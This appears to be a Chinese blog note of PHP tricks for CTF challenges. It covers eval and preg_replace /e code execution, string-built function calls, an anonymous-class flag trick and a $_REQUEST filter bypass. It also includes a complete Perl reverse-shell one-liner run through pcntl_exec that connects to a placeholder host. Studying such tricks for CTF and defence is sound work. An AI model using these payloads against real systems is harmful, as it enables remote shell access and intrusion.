记录php下的小技巧和特性
命令执行中断报错
可以利用__halt_compiler();中断编译器的执行,不让eval报错
$cmd='system("whoami");__halt_compiler();';
preg_replace /e 模式
一部分修正符的含义
1 2 3 4 5 6
   | 1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个 2、/i 表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同 3、/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号 4、/s 与/m相对,单行模式匹配。 5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。 6、/x 忽略空白模式。
 
  | 
 
preg_replace 使用了 /e 模式,导致了代码可以被执行
1 2
   | <?php echo preg_replace("/aa/e","system('whoami');","aa");
 
  | 
 
注意:php5.5以上版本/e被弃用
Error::getMessage
PHP的内置类 Error::getMessage方法可以返回Error类实例化时接受的字符串
new Error("system")->getMessage就会返回system
例如
1 2
   | ((new $a($aa))->$c())((new $b($bb))->$c()); ((new Error('system'))->getMessage())((new $Error('ls'))->getMessage());
 
  | 
 
pcntl_exec反弹shell
1
   | pcntl_exec('/usr/bin/perl',['-e','use Socket;$i="ip";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};']);
 
  | 
 
php匿名类
class@anonymous+chr(0)+php文件路径+:+行数$列数
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
   | <?php if (isset($_GET['ezphpPhp8'])) {     highlight_file(__FILE__); } else {     die("No"); } $a = new class {     function __construct()     {     }
      function getflag()     {         system('cat /flag');     } }; unset($a); $a = $_GET['ezphpPhp8']; $f = new $a(); $f->getflag(); ?>
 
 
 
  | 
 
直接构造class@anonymous%00/var/www/html/flag.php:7$0即可
或者直接echo urlencode(get_class($a));输出
REQUEST的优先级
1 2 3 4 5 6 7 8 9 10
   | <?php function waf($str){     foreach ($str as $name => $value) {         if(preg_match('/[a-z]/i', $value)){             exit("waf");         }     } }
  waf($_REQUEST);
 
  | 
 
会同时接收post和get,但优先接收post的参数
所以post发送同名参数后get可以绕过
一些替换
localhost可以代替/进行绕过
php函数小记
1
   | implode() — 把数组元素组合为一个字符串
 
  |